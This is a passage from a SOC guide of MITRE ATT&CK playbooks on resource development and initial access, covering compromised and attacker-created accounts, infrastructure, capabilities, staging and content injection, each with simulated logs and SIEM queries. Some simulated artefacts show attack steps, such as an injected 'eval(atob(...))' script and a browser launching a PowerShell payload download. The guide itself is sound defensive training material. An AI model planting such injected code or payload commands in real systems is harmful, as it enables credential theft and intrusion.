1. Does the account owner **recognise the activity**?
2. Is the login **consistent with historical behaviour**?
3. Are **persistence mechanisms** present:
 - Inbox rules
 - Forwarding
 - OAuth apps
4. Is the account **actively being abused**?

Decision point

- Legitimate activity → document and monitor
- Unrecognised or malicious → continue investigation immediately

Step 2 Identify compromised account scope

Account type	Evidence	Attacker value
Social Media	DMs, posts	Trust exploitation
Email	Mailbox access	BEC, phishing
Cloud	Tokens, roles	Persistence, data access

Step 3 Map compromise behaviour to sub-techniques

3A) Social Media Accounts

Indicators

- Logins from unusual locations
- Messages to finance or executives
- Sudden behaviour change

Attacker intent

- Pretext building
- Trust seeding before phishing

3B) Email Accounts

Indicators

- Password-only login success
- Inbox rule creation
- External forwarding

Attacker intent

- Conversation hijacking
- Phishing delivery
- Payment fraud

3C) Cloud Accounts

Indicators

- OAuth consent abuse
- New tokens or API keys
- Privilege escalation or role change

Attacker intent

- Long-term persistence
- Silent data access
- Cross-service pivoting

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Phishing / BEC
 - Outbound emails
 - Invoice or bank-detail changes
2. Privilege escalation
 - Role modifications
 - Admin portal access
3. Lateral movement
 - SharePoint, OneDrive, Teams, SaaS access

Decision point

- Any malicious activity → escalate to Incident Response

Containment actions

If compromise detected early

1. Disable the account immediately
2. Force password reset
3. Re-enrol MFA
4. Revoke all sessions and tokens

If compromise used maliciously

1. Disable affected and related accounts
2. Remove inbox rules, forwarding, OAuth apps
3. Notify impacted recipients and partners
4. Freeze financial workflows if applicable

Eradication and recovery

- Rotate all credentials and secrets
- Audit IAM roles and permissions
- Remove unauthorised apps and tokens

- Validate no persistence remains
- Issue formal assurance statement

Detection engineering (SIEM ideas)

A) Inbox rule abuse

index=email
| where activity="CreateInboxRule"
| stats count by user

B) OAuth persistence detection

index=cloud_auth
| where activity="OAuthConsent"
| where permissions LIKE "%Mail.Read%"

C) Login anomaly detection

index=auth
| where login_result="success"
| stats dc(src_ip) by user
| where dc(src_ip) > 3

Analyst checklist

- Account legitimacy confirmed
- Compromise method identified
- Persistence removed
- Downstream impact assessed
- Stakeholders notified

Post-incident improvements

- Enforce phishing-resistant MFA
- Restrict OAuth app consent
- Monitor inbox rule creation
- Reduce standing cloud privileges
- Strengthen partner and vendor account controls

Playbook 15 (MITRE Resource Development): Compromise Infrastructure

Technique: Compromise Infrastructure

Sub-techniques:

- Domains
- DNS Server
- Virtual Private Server
- Server
- Botnet
- Web Services
- Serverless
- Network Devices

Purpose

Detect, investigate and respond to adversaries compromising third-party or previously legitimate infrastructure and repurposing it as attack infrastructure, enabling:

- Command-and-Control (C2)
- Phishing and credential harvesting
- Malware hosting and staging
- Traffic redirection and anonymisation
- Abuse of trust and reputation (infrastructure appears benign)

This technique allows attackers to blend into normal Internet traffic, evade reputation-based controls and rapidly scale operations.

When to trigger this playbook

Trigger this playbook when indicators suggest previously legitimate infrastructure is being abused, including:

- Sudden malicious behaviour from long-standing domains or IPs
- DNS servers resolving to unexpected destinations
- VPS or servers with clean reputation used in phishing or C2
- Compromised websites hosting payloads or redirecting traffic
- Botnet activity originating from consumer or IoT devices
- Abuse of SaaS, serverless or cloud services for data exfiltration
- Network devices generating outbound connections atypical for their role

Example use case scenario (end-to-end)

Context: SOC observes phishing links hosted on a legitimate small business website. Further analysis shows the site was compromised and is redirecting users to a credential-harvesting page hosted elsewhere, while DNS records were altered to support fast redirection.

Attacker objective: Compromise existing infrastructure to inherit trust, reduce blocking and maintain resilience.

Defender objective: Identify abuse quickly, block and notify and prevent reuse across campaigns.

What it looks like (simulated SOC artefacts)

A) Domains (Previously Legitimate)

2026-02-22T02:11:02Z
domain=local-business[.]my
domain_age=9_years
current_use=phishing_redirect

B) DNS Server Compromise

2026-02-22T02:11:18Z
domain=local-business[.]my
authoritative_ns=ns1.compromised-dns[.]net
ttl=30

C) Virtual Private Server (VPS)

2026-02-22T02:11:34Z
dst_ip=194.87.123.44
asn=CloudVSPProvider
reputation=previously_clean
current_activity=C2_beacon

D) Server (Web / Application)

2026-02-22T02:11:49Z
url=hxxps://local-business[.]my/assets/update.js
content=credential_harvester

E) Botnet Infrastructure

2026-02-22T02:12:06Z

src_ip=192.168.1.101
device_type=IoT_Router
pattern=periodic_beacon
interval=120s

F) Web Services Abuse

2026-02-22T02:12:21Z
service=CloudObjectStorage
bucket=public-assets-prod
hosted_content=phishing_pages

G) Serverless Abuse

2026-02-22T02:12:35Z
endpoint=hxxps://functions-cloud[.]net/collect
method=POST
payload=credentials

H) Network Devices

2026-02-22T02:12:52Z
device=EdgeFirewall
outbound_connection=hxxps://control-node[.]net
unexpected=true

Severity decision (SOC)

Low

- Infrastructure observed but blocked
- No user interaction or data exchange

Medium

- Compromised infrastructure contacted
- No confirmed credential or payload exchange

High

- Active phishing, C2 or malware delivery
- Multiple compromised infrastructure layers
- Credential theft, beaconing or lateral movement observed

Example severity: High

(Compromised domain + DNS + serverless credential exfiltration)

Step-by-step SOC workflow

Step 1 Validate infrastructure compromise

Confirm:

1. Was the infrastructure previously legitimate?
2. Has behaviour changed recently?
3. Is content or traffic clearly malicious?
4. Is the infrastructure shared across multiple victims?

Decision point

- Benign misconfiguration → notify owner, monitor
- Malicious compromise → continue investigation immediately

Step 2 Identify compromised infrastructure scope

Sub-technique	Evidence	Attacker value
Domains	Aged domains abused	Reputation laundering
DNS Server	Altered resolution	Redirection / resilience
VPS	Clean IPs	Stealth C2
Server	Payload hosting	Malware delivery
Botnet	Many nodes	Scale
Web Services	SaaS abuse	Low cost, high trust
Serverless	POST collectors	Exfiltration evasion
Network Devices	Embedded footholds	Persistent access

Step 3 Map compromise type to attacker intent

3A) Domains

Indicators

- Old domains serving malicious content
- Sudden page or script changes

Attacker intent

- Bypass reputation-based blocking

3B) DNS Server

Indicators

- NS changes
- Fast-flux or low TTL

Attacker intent

- Redirection and resilience

3C) Virtual Private Server (VPS)

Indicators

- Clean VPS used for beaconing
- Low-noise traffic patterns

Attacker intent

- Blend with legitimate cloud traffic

3D) Server

Indicators

- Compromised CMS or web app
- Injected scripts or payloads

Attacker intent

- Malware or phishing hosting

3E) Botnet

Indicators

- Periodic outbound connections
- Consumer / IoT device sources

Attacker intent

- Distributed C2 and delivery

3F) Web Services

Indicators

- SaaS buckets hosting phishing kits
- Abuse of trusted platforms

Attacker intent

- Trust inheritance

3G) Serverless

Indicators

- POST-only endpoints
- No user browsing

Attacker intent

- Silent credential exfiltration

3H) Network Devices

Indicators

- Unexpected outbound traffic
- Config or firmware changes

Attacker intent

- Long-term persistence
- Traffic manipulation

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - Form submissions
 - Auth anomalies
2. Command-and-Control
 - Beacon patterns
 - DNS tunnelling
3. Lateral Movement / Impact
 - Internal scanning

- Data access or disruption

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If infrastructure abuse only

1. Block domains, IPs, URLs across controls
2. Add DNS sinkhole entries
3. Notify hosting providers or owners

If active compromise and impact

1. Block immediately at DNS, proxy, firewall, EDR
2. Isolate affected endpoints or devices
3. Reset exposed credentials
4. Activate full IR workflow

Eradication and recovery

- Remove malware or injected code
- Patch and harden compromised servers
- Rotate credentials and API keys
- Validate no persistence remains
- Update IOC and detection sets

Detection engineering (SIEM ideas)

A) Aged domain suddenly malicious

```
index=proxy OR index=dns  
| where domain_age > 365 AND category="phishing"  
| stats count by domain
```

B) Beaconing from non-server assets

```
index=network  
| bucket span=2m _time  
| stats count by src_ip, dest_domain  
| where count > 10
```

Analyst checklist

- Infrastructure legitimacy confirmed
- Compromise type identified
- Blocking and notifications completed
- Credential exposure assessed
- Follow-on activity ruled out

Post-incident improvements

- Monitor behaviour changes in aged domains
- Improve DNS change visibility
- Expand detection for serverless and SaaS abuse
- Harden network device management and firmware
- Automate provider and ISP notification workflows

Playbook 16 (MITRE Resource Development): Develop Capabilities

Technique: Develop Capabilities

Sub-techniques:

- Malware
- Code Signing Certificates
- Digital Certificates
- Exploits

Purpose

Detect, investigate and respond to adversaries developing or customising offensive capabilities prior to execution, enabling:

- Targeted and evasive malware delivery
- Trust abuse via signed binaries and TLS
- Precision exploitation of known or zero-day vulnerabilities
- Reduced detection through bespoke tooling

This technique occurs before Initial Access but directly fuels Initial Access, Execution, Defense Evasion and Impact.

When to trigger this playbook

Trigger this playbook when indicators suggest capability development or testing, including:

- Appearance of novel or low-prevalence malware
- Signed binaries behaving maliciously
- TLS infrastructure aligned with malware or phishing kits
- Exploit attempts tailored to your technology stack
- Threat intel indicating custom tooling for your sector/org

Example use case scenario (end-to-end)

Context: SOC observes a signed binary delivered via email that bypasses reputation checks. EDR flags anomalous behaviour and analysis shows a custom loader paired with a recent exploit for a web-facing service.

Attacker objective: Develop capabilities that blend in, evade controls and work reliably against the target environment.

Defender objective: Identify capability development early, block delivery paths and prevent execution.

What it looks like (simulated SOC artefacts)

A) Malware (Custom / Low-Prevalence)

2026-02-24T02:11:02Z
file=invoice_viewer.exe
hash=3b9f4e...
prevalence=low
family=unknown
2026-02-24T02:11:06Z
edr_behavior=process_injection
child_process=svchost.exe

B) Code Signing Certificates (Abuse)

2026-02-24T02:11:18Z
binary_signature=valid
issuer=TrustedVendor LLC
certificate_age=5_days
2026-02-24T02:11:21Z
revocation_status=unknown

C) Digital Certificates (TLS / Infra)

2026-02-24T02:11:34Z
tls_cn=update-sync.examplecdn.net
issuer=PublicCA
san=cdn-assets.examplecdn.net
2026-02-24T02:11:37Z
usage=C2_communication

D) Exploits (Targeted)

2026-02-24T02:11:52Z
ids_signature=WebApp_RCE_Attempt
target=legacy-app.example.my
cve=CVE-2025-XXXX
2026-02-24T02:11:55Z
payload=custom_shellcode

Severity decision (SOC)

Low

- Generic malware blocked by controls
- No execution or exploitation

Medium

- Novel tooling detected but contained
- No persistence or lateral movement

High

- Signed malware executed
- Active exploit attempts aligned with environment
- Evidence of C2 or credential theft

Example severity: High

(Signed custom loader + targeted exploit)

Step-by-step SOC workflow

Step 1 Validate capability novelty and intent

Confirm:

1. Is the tooling custom or low-prevalence?
2. Are signatures valid but suspicious (newly issued)?
3. Is exploit activity environment-specific?
4. Is there testing or staging behaviour?

Decision point

- Commodity tooling → standard handling
- Custom capability → continue investigation immediately

Step 2 Identify capability scope

Capability	Evidence	Attacker value
Malware	Custom loaders	Evasion
Code signing	Valid signatures	Trust abuse
Certificates	TLS for C2	Stealth
Exploits	Targeted CVEs	Reliable access

Step 3 Map development type to sub-techniques

3A) Malware

Indicators

- Unknown family
- Low prevalence
- Anti-analysis features

Attacker intent

- Evade detection
- Enable modular payloads

3B) Code Signing Certificates

Indicators

- Newly issued certs
- Mismatch between signer and behaviour

Attacker intent

- Bypass reputation controls
- Reduce user suspicion

3C) Digital Certificates

Indicators

- Short-lived TLS certs
- Certs aligned with malware infra

Attacker intent

- Hide C2 traffic
- Rapid infrastructure rotation

3D) Exploits

Indicators

- Payloads tuned to specific versions
- Exploit chains (RCE → loader)

Attacker intent

- Reliable compromise

- Minimal noise

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Execution and persistence
 - Autoruns, scheduled tasks
2. Defense evasion
 - AMSI bypass, EDR tampering
3. Command-and-Control
 - TLS beacons, DNS tunnelling

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If capability observed pre-execution

1. Block hashes, certs, domains
2. Quarantine artifacts
3. Disable vulnerable services

If capability executed

1. Isolate affected endpoints
2. Kill malicious processes
3. Revoke certificates (notify CA)
4. Apply emergency patches

Eradication and recovery

- Remove malware and persistence
- Rotate credentials and secrets
- Reimage systems if required
- Validate exploit paths are closed
- Update detections and signatures

Detection engineering (SIEM ideas)

A) Signed-but-malicious binaries

```
index=edr  
| where signature="valid"  
| where behavior IN ("process_injection","credential_dumping")
```

B) Low-prevalence malware detection

```
index=edr  
| where prevalence="low"  
| stats count by hash
```

C) Exploit alignment detection

```
index=ids  
| where cve IS NOT NULL  
| stats count by target
```

Analyst checklist

- Capability novelty confirmed
- Scope and delivery path identified
- Execution and persistence checked
- Blocking and patching completed
- Stakeholders notified

Post-incident improvements

- Strengthen certificate reputation checks
- Enforce application allowlisting
- Reduce exploit exposure via patch SLAs
- Integrate TI on custom tooling
- Conduct purple-team validation against bespoke malware

Playbook 17 (MITRE Resource Development): Establish Accounts

Technique: Establish Accounts

Sub-techniques:

- Social Media Accounts
- Email Accounts
- Cloud Accounts

Purpose

Detect, investigate and respond to adversaries creating new accounts under their control to support operations, enabling:

- Long-lived phishing and social engineering campaigns
- Brand and identity impersonation
- Infrastructure access (cloud/SaaS) without immediate malware
- Evasion of reputation-based controls through “clean” accounts

Unlike Compromise Accounts, these identities are newly created and appear legitimate, often aging quietly before use.

When to trigger this playbook

Trigger this playbook when indicators suggest attacker-established identities interacting with your organisation, including:

- New social media profiles engaging employees or executives
- Recently created email accounts contacting finance/HR/IT
- Newly registered cloud tenants or SaaS accounts accessing shared resources
- OAuth or external sharing requests from unfamiliar tenants
- Threat intel reports of fake brands, personas or tenants linked to campaigns

Example use case scenario (end-to-end)

Context: SOC receives user reports of LinkedIn messages from a newly created “vendor employee” profile. Shortly after, emails arrive from a fresh email domain requesting invoice updates and a new cloud tenant requests document access.

Attacker objective: Establish clean, trusted identities that bypass filters and human scepticism before launching fraud or access attempts.

Defender objective: Identify attacker-controlled accounts early, block interaction and prevent trust establishment.

What it looks like (simulated SOC artefacts)

A) Social Media Accounts (New Persona)

2026-02-26T01:11:04Z
platform=LinkedIn
profile_age=6_days
profile_name="Accounts Manager – TrustedVendor"
connection_requests=Finance_Team
2026-02-26T01:11:08Z
message="Following up on updated banking details discussed last week"

B) Email Accounts (Fresh Sender)

2026-02-26T01:18:41Z
sender=accounts@trustedvendor-billing[.]com
domain_age=9_days
auth=SPF_PASS, DKIM_PASS
email_gateway_verdict=allowed
2026-02-26T01:18:45Z
subject="Updated Payment Instructions"
recipient_role=Finance

C) Cloud Accounts (New Tenant / SaaS Identity)

2026-02-26T01:29:33Z
platform=CloudSaaS
external_tenant="trustedvendor-collab"
tenant_age=12_days
activity=SharePointAccessRequest
resource="/Finance/Invoices"
2026-02-26T01:29:36Z
risk_signal=new_tenant + sensitive_resource

Severity decision (SOC)

Low

- New accounts detected but no interaction
- Blocked by policy or ignored by users

Medium

- Interaction without sensitive data exposure

- Single channel used (social OR email OR cloud)

High

- Coordinated use of multiple newly established accounts
- Targeting finance, HR or executives
- Requests for payment, credentials or privileged access

Example severity: High

(New social + email + cloud accounts converging on finance workflows)

Step-by-step SOC workflow

Step 1 Validate account legitimacy

Confirm quickly:

1. Is the account recently created?
2. Does it claim association with a known partner or brand?
3. Is there external verification (vendor contact, contract)?
4. Is the behaviour context-appropriate for the claimed role?

Decision point

- Legitimate and verified → document and monitor
- Unverified or deceptive → continue investigation immediately

Step 2 Identify established account scope

Account type	Evidence	Attacker value
Social media	New profiles	Trust seeding
Email	New domains/accounts	Phishing & BEC
Cloud	New tenants/apps	Access & persistence

Step 3 Map establishment behaviour to sub-techniques

3A) Social Media Accounts

Indicators

- Recently created profiles
- Rapid connection requests to specific roles
- Professional branding without history

Attacker intent

- Pretext building
- Relationship establishment

3B) Email Accounts

Indicators

- Newly registered domains
- Clean authentication (SPF/DKIM pass)
- Financial or credential-related requests

Attacker intent

- Bypass email reputation controls
- Launch BEC or phishing

3C) Cloud Accounts

Indicators

- New tenants requesting sharing or OAuth access
- Minimal activity except targeted access
- App names mimicking legitimate tools

Attacker intent

- Silent access to documents
- Long-term foothold without malware

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Fraud / BEC
 - Invoice or bank detail changes
2. Credential harvesting
 - OAuth consent requests
 - Fake login portals
3. Persistence
 - Continued engagement without escalation

Decision point

- Evidence found → escalate to Incident Response (Fraud / Identity Abuse)

Containment actions

If establishment detected early

1. Block accounts/domains/tenants
2. Warn targeted users and teams
3. Update allow/deny lists (email, SaaS)

If accounts actively used

1. Block across all controls (email, proxy, SaaS)
2. Notify business owners (Finance, HR, Procurement)
3. Freeze transactions or access requests
4. Preserve evidence for fraud investigation

Eradication and recovery

- Remove external sharing and OAuth grants
- Block lookalike domains and tenants
- Reset affected workflows (payment verification)
- Conduct targeted awareness for affected teams
- Update detection logic for “new account” signals

Detection engineering (SIEM ideas)

A) New sender domain targeting finance

```
index=email  
| where domain_age < 14  
| where recipient_role="Finance"  
| stats count by sender_domain
```

B) New SaaS tenant access attempts

```
index=cloud_access  
| where tenant_age < 30  
| where resource IN ("Finance","HR")
```

C) Multi-channel identity correlation

```
(index=social OR index=email OR index=cloud)  
| transaction brand maxspan=24h
```

| where eventcount > 2

Analyst checklist

- Account age and origin confirmed
- Brand or partner verification completed
- Multi-channel correlation assessed
- Blocking and notifications executed
- Business stakeholders informed

Post-incident improvements

- Enforce verification for vendor identity changes
- Flag “new account” as a first-class risk signal
- Restrict default external sharing in SaaS
- Integrate OSINT and TI on fake personas
- Regularly simulate identity-only attack scenarios

Playbook 18 (MITRE Resource Development): Obtain Capabilities

Technique: Obtain Capabilities

Sub-techniques:

- Malware
- Tool
- Code Signing Certificates
- Digital Certificates
- Exploits
- Vulnerabilities
- Artificial Intelligence

Purpose

Detect, investigate and respond to adversaries acquiring pre-built offensive capabilities rather than developing them in-house, enabling:

- Rapid operational readiness
- Reduced development time and cost
- Access to mature, tested attack tooling
- Increased scale and automation
- Lower skill barrier for sophisticated attacks

This technique often overlaps with access brokers, malware-as-a-service (MaaS), exploit kits and AI-assisted attack tooling and occurs before Initial Access.

When to trigger this playbook

Trigger this playbook when indicators suggest externally sourced attack capabilities interacting with or preparing to target your environment, including:

- Detection of known malware families or commercial tools
- Signed malware or binaries linked to third-party sellers
- Exploit attempts matching public exploit kits
- Attacks aligned with recently disclosed vulnerabilities
- AI-generated phishing, deepfake content or automated reconnaissance
- Threat intel reporting capability sales tied to your sector

Example use case scenario (end-to-end)

Context: SOC detects credential harvesting malware delivered via phishing, followed by automated password spraying and AI-generated follow-up emails tailored to finance staff.

Attacker objective: Purchase mature capabilities to execute fast, scalable and adaptive attacks without bespoke development.

Defender objective: Identify obtained capabilities early, correlate usage and shut down attack paths before escalation.

What it looks like (simulated SOC artefacts)

A) Malware (Purchased MaaS)

2026-02-28T01:11:02Z
file=loader_v2.exe
family=Redline
distribution=malware_as_a_service
2026-02-28T01:11:06Z
edr_behavior=credential_dumping

B) Tool (Commercial / Underground)

2026-02-28T01:14:18Z
process=AnyDesk.exe
usage_context=unauthorised
command_line="--silent --install"
2026-02-28T01:14:21Z
tool_origin=third_party

C) Code Signing Certificates (Purchased)

2026-02-28T01:18:44Z
binary_signature=valid
issuer=SmallSoftwareVendor Ltd
certificate_age=12_days

D) Digital Certificates (TLS for C2)

2026-02-28T01:22:31Z
tls_cn=cdn-sync-updates[.]net
issuer=PublicCA
certificate_lifetime=30_days

E) Exploits (Exploit Kit)

2026-02-28T01:26:12Z
ids_signature=ExploitKit_Web

cve=CVE-2025-YYYY
delivery=drive_by

F) Vulnerabilities (Weaponised)

2026-02-28T01:26:15Z
target_service=VPN_Gateway
vulnerability_status=known_unpatched

G) Artificial Intelligence (AI-Assisted)

2026-02-28T01:29:41Z
email_language_score=human_like
content_variation=unique_per_recipient
generation_method=AI
2026-02-28T01:29:44Z
voice_call=deepfake_CFO

Severity decision (SOC)

Low

- Capability observed but blocked
- No execution or interaction

Medium

- Capability executed but contained
- Limited scope and no persistence

High

- Multiple obtained capabilities used together
- Credential compromise, exploitation or C2 observed
- AI-assisted adaptation or automation

Example severity: High

(MaaS + exploit kit + AI-generated phishing)

Step-by-step SOC workflow

Step 1 Validate capability source and maturity

Confirm:

1. Is the capability commercially available or widely sold?
2. Is it known, mature and reliable?
3. Does it match threat intel reports?
4. Is it being used exactly as sold (default behaviour)?

Decision point

- Commodity capability → standard containment
- High-impact or combined capability → continue investigation immediately

Step 2 Identify obtained capability scope

Capability	Evidence	Attacker value
Malware	Known MaaS	Rapid infection
Tools	RMM / scanners	Living-off-the-land
Code signing	Valid certs	Trust abuse
Certificates	TLS C2	Stealth
Exploits	Exploit kits	Speed
Vulnerabilities	Weaponised CVEs	Guaranteed access
AI	Adaptive content	Scale & realism

Step 3 Map obtained capabilities to sub-techniques

3A) Malware

Indicators

- Known malware family
- MaaS artefacts

Attacker intent

- Quick compromise
- Data theft or loader delivery

3B) Tool

Indicators

- Remote admin tools
- Dual-use utilities

Attacker intent

- Blend with admin activity
- Avoid custom malware

3C) Code Signing Certificates

Indicators

- Recently issued certs
- Mismatch between signer and behaviour

Attacker intent

- Evade reputation checks

3D) Digital Certificates

Indicators

- Short-lived TLS certs
- C2-aligned domains

Attacker intent

- Encrypted command channels

3E) Exploits

Indicators

- Exploit kit signatures
- No reconnaissance phase

Attacker intent

- Immediate access

3F) Vulnerabilities

Indicators

- Attacks aligned with known CVEs
- Targeted unpatched services

Attacker intent

- Predictable success

3G) Artificial Intelligence

Indicators

- High linguistic variation
- Voice or image deepfakes

Attacker intent

- Social trust manipulation
- Automation at scale

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - Dumps, token theft
2. Persistence
 - Scheduled tasks, OAuth apps
3. Command-and-Control
 - TLS or DNS beaconing
4. Fraud / Impact
 - BEC, data exfiltration

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If capability blocked early

1. Block hashes, tools, domains, certificates
2. Patch exploited vulnerabilities
3. Increase monitoring for reuse

If capability executed

1. Isolate affected endpoints
2. Remove malware and tools
3. Rotate credentials and tokens

4. Disable abused services

Eradication and recovery

- Remove persistence mechanisms
- Reimage systems if required
- Revoke certificates and tokens
- Close exploited vulnerabilities
- Update detections and playbooks

Detection engineering (SIEM ideas)

A) Known malware family detection

```
index=edr  
| where malware_family IS NOT NULL  
| stats count by malware_family
```

B) AI phishing indicators

```
index=email  
| where language_variation_score > threshold  
| stats count by sender
```

C) Exploit + vuln correlation

```
index=ids  
| where cve IS NOT NULL  
| stats count by target_service
```

Analyst checklist

- Capability source identified
- Scope and impact assessed
- Execution and persistence ruled out
- Patching and blocking completed
- Stakeholders informed

Post-incident improvements

- Prioritise patching for weaponised CVEs
- Treat AI-assisted attacks as default threat
- Expand detection for MaaS and RaaS artefacts
- Restrict dual-use tools by policy

- Integrate TI on capability marketplaces

Playbook 19 (MITRE Resource Development): Stage Capabilities

Technique: Stage Capabilities

Sub-techniques:

- Upload Malware
- Upload Tool
- Install Digital Certificate
- Drive-by Target
- Link Target
- SEO Poisoning

Purpose

Detect, investigate and respond to adversaries positioning previously obtained or developed capabilities so they are ready for delivery or execution, enabling:

- Rapid transition into Initial Access
- Minimal setup time during the attack
- Reduced detection during delivery
- High-success phishing, exploitation or drive-by compromise

Staging occurs after capabilities are obtained and before Initial Access and often leaves subtle but detectable preparation signals.

When to trigger this playbook

Trigger this playbook when indicators suggest attack assets are being positioned for imminent use, including:

- Malware or tools uploaded to compromised or attacker-controlled servers
- Digital certificates installed or bound to infrastructure shortly before use
- Websites modified to host malicious scripts or redirects
- Phishing infrastructure fully prepared but not yet activated
- Search results or ads redirecting to malicious landing pages
- Threat intel indicating “campaign staging” or “payload ready” status

Example use case scenario (end-to-end)

Context: SOC observes a new domain hosting a phishing login page. The page is not yet referenced in emails, but malware is uploaded, TLS certificates are installed and Google search results begin pointing to it.

Attacker objective: Stage all components so Initial Access can be launched instantly and at scale.

Defender objective: Detect staging early and disrupt before user interaction occurs.

What it looks like (simulated SOC artefacts)

A) Upload Malware

2026-03-01T02:11:02Z
server=stage-node[.]net
file=payload_v3.exe
upload_method=SFTP
file_hash=91af3d...
2026-03-01T02:11:06Z
file_status=inactive

B) Upload Tool

2026-03-01T02:11:21Z
file=credential_harvester.js
location=/var/www/assets/
2026-03-01T02:11:24Z
tool_type=phishing_kit_component

C) Install Digital Certificate

2026-03-01T02:11:39Z
domain=secure-login-example[.]com
tls_cert_installed=true
issuer=PublicCA
certificate_age=0_days

D) Drive-by Target

2026-03-01T02:11:55Z
website=compromised-blog[.]my
injected_script=redirect.js
trigger=page_load

E) Link Target

2026-03-01T02:12:11Z
shortened_url=hxxps://bit.ly/3xKpA1

destination=secure-login-example[.]com

F) SEO Poisoning

2026-03-01T02:12:29Z

search_term="Example Bank account login"

result_rank=3

landing_page=secure-login-example[.]com

Severity decision (SOC)

Low

- Staging observed but no user exposure
- Infrastructure isolated and unused

Medium

- Staged assets partially visible (search, ads, redirects)
- No confirmed user interaction

High

- Multiple staging techniques combined
- Evidence of imminent delivery (emails queued, ads live)
- Initial user interaction detected

Example severity: High

(Malware uploaded + cert installed + SEO poisoning live)

Step-by-step SOC workflow

Step 1 Validate staging intent

Confirm:

1. Are the assets recently uploaded or modified?
2. Are they inactive but complete (payloads, kits, certs)?
3. Is infrastructure newly registered or repurposed?
4. Is there alignment with known campaigns or TI reports?

Decision point

- Benign hosting activity → monitor

- Coordinated staging → continue investigation immediately

Step 2 Identify staged capability scope

Sub-technique	Evidence	Attacker value
Upload Malware	Payload staged	Immediate execution
Upload Tool	Harvesters/kits	Data collection
Digital Certificate	TLS enabled	Trust & stealth
Drive-by Target	Script injection	Silent compromise
Link Target	Short links	Click optimisation
SEO Poisoning	Search ranking	Mass exposure

Step 3 Map staging behaviour to sub-techniques

3A) Upload Malware

Indicators

- New binaries on staging servers
- No immediate execution

Attacker intent

- Rapid deployment during attack launch

3B) Upload Tool

Indicators

- Phishing kit components
- Recon or harvesting scripts

Attacker intent

- Credential or data collection

3C) Install Digital Certificate

Indicators

- Fresh TLS certificates
- HTTPS enabled shortly before activity

Attacker intent

- Increase user trust
- Bypass security warnings

3D) Drive-by Target

Indicators

- Injected JavaScript
- Redirects without user interaction

Attacker intent

- Automatic compromise

3E) Link Target

Indicators

- URL shorteners
- Redirect chains

Attacker intent

- Obfuscate destination
- Track clicks

3F) SEO Poisoning

Indicators

- Malicious domains ranking for branded terms
- Search ads pointing to fake sites

Attacker intent

- Passive victim acquisition at scale

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Initial Access signals
 - Phishing emails sent
 - Credential submissions
2. Malware execution

- Downloads
- EDR alerts
- 3. Command-and-Control
 - Beacons
 - TLS sessions to staged infra

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If staging detected pre-delivery

1. Block domains, URLs, IPs
2. Request takedown (hosting, registrar, ad network)
3. Sinkhole DNS entries
4. Notify search engines / URL shorteners

If staging already exposed users

1. Block immediately across all controls
2. Isolate affected endpoints
3. Reset credentials if harvesting suspected
4. Preserve artefacts for investigation

Eradication and recovery

- Remove malicious content from compromised sites
- Rotate exposed credentials and certificates
- Validate no additional staged assets exist
- Update detections and TI feeds
- Issue assurance and awareness to stakeholders

Detection engineering (SIEM ideas)

A) New content on suspicious domains

index=web OR index=proxy
 | where domain_age < 14
 | stats count by domain

B) TLS cert age anomaly

index=proxy
| where certificate_age < 3
| stats count by dest_domain

C) Redirect and short-link detection

index=proxy
| where url_length < 30 AND redirect_count > 2

Analyst checklist

- Staged assets identified
- Exposure status confirmed
- Blocking and takedowns initiated
- User impact assessed
- Follow-on activity ruled out

Post-incident improvements

- Monitor staging indicators as early-warning signals
- Integrate SEO and ad-abuse telemetry
- Flag new TLS certificates on lookalike domains
- Improve detection of pre-delivery infrastructure
- Include “staging disruption” in SOAR playbooks

INITIAL ACCESS

Initial Access is the stage where attackers move from preparation into action by successfully gaining a foothold in the victim environment. After reconnaissance and resource development, adversaries exploit exposed services, abuse valid credentials, deliver phishing payloads or leverage trusted relationships to breach systems for the first time. This phase is critical because it represents the transition from intent to impact once initial access is achieved, attackers can pivot into execution, persistence and lateral movement. For SOC teams, detecting Initial Access quickly is essential, as early containment can prevent full compromise, limit blast radius and stop the attack before it escalates into credential theft, ransomware, data exfiltration or business disruption.

Playbook 20 (MITRE Initial Access): Content Injection

Technique: Content Injection

Purpose

Detect, investigate and respond to malicious content injected into trusted content delivery paths, enabling attackers to:

- Bypass reputation and allowlists
- Exploit user trust in known websites
- Deliver malware without phishing emails
- Harvest credentials silently
- Trigger follow-on exploitation or C2

This technique is a direct Initial Access vector and often follows Stage Capabilities.

When to trigger this playbook

Trigger this playbook when indicators suggest malicious content embedded in trusted locations, including:

- Unexpected script changes on trusted websites
- Malicious redirects from reputable domains
- User reports of prompts or downloads from known sites
- IDS/WAF alerts tied to injected scripts
- Proxy/DNS traffic to attacker infrastructure originating from trusted referrers

Example use case scenario (end-to-end)

Context: SOC detects users being redirected to a credential-harvesting page after visiting a legitimate industry news site. Investigation reveals a malicious JavaScript injected via a compromised CMS plugin.

Attacker objective: Use trusted content as a delivery mechanism to achieve silent initial access.

Defender objective: Identify injected content quickly, block delivery paths and prevent further user exposure.

What it looks like (simulated SOC artefacts)

A) Web Server / CMS Change Logs

2026-03-04T01:11:02Z

site=trusted-news[.]my

file=/wp-content/plugins/analytics/track.js

change=modified

editor=unknown

2026-03-04T01:11:06Z

injected_code="eval(atob('aHR0cHM6Ly9sb2dpbi1zZWV1cmUuZXhhbXBsZS5jb20='))"

B) Proxy Logs – Malicious Redirect

2026-03-04T01:11:21Z

user=employee12

referrer=https://trusted-news[.]my/article/finance

redirect_to=https://secure-login-example[.]com

C) Endpoint / Browser Telemetry

2026-03-04T01:11:34Z

process=chrome.exe

child_process=powershell.exe

command_line=download_payload.ps1

D) WAF / IDS Alerts

2026-03-04T01:11:49Z

rule=Injected_Script_Detection

uri=/wp-content/plugins/analytics/track.js

action=alert

Severity decision (SOC)

Low

- Injection detected but blocked before user exposure
- No redirects or downloads

Medium

- Injection active with limited user exposure
- No confirmed credential submission or execution

High

- Active injection with redirects, downloads or credential harvesting

- Endpoint execution or beaconing observed

Example severity: High

(Trusted site injection leading to credential harvesting and script execution)

Step-by-step SOC workflow

Step 1 Validate content injection

Confirm:

1. Is the content legitimate but modified?
